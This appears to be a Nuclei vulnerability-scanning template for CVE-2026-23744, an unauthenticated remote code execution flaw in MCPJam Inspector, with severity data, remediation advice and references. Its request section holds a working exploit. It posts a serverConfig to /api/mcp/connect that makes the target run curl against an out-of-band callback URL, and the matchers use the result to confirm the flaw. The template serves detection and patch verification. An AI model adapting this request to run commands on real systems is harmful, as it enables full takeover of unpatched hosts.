MCPJam Inspector - Remote Code Execution

id: CVE-2026-23744

info:
  name: MCPJam Inspector - Remote Code Execution
  author: Louay-075
  severity: critical
  description: |
    MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE.
  impact: |
    An unauthenticated attacker can remotely execute arbitrary system commands via the exposed /api/mcp/connect endpoint. Successful exploitation leads to full compromise of the affected host.
  remediation: |
    Upgrade MCPJam Inspector to version 1.4.3 or later. Restrict the service to listen on 127.0.0.1.
  reference:
    - https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6
    - https://github.com/advisories/GHSA-232v-j27c-5pp6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23744
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-23744
    epss-score: 0.38374
    epss-percentile: 0.98384
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: mcpjam
    product: mcpjam
  tags: cve,cve2026,rce,mcpjam,oast,ai,vkev

http:
  - raw:
      - |
        POST /api/mcp/connect HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"serverConfig":{"timeout":10000,"command":"curl","args":["{{interactsh-url}}"],"env":{}},"serverId":"mymcp"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Connection failed for server", "MCP error")'
          - 'contains(content_type, "application/json")'
          - 'contains(interactsh_protocol, "dns")'
          - 'status_code == 500'
        condition: and
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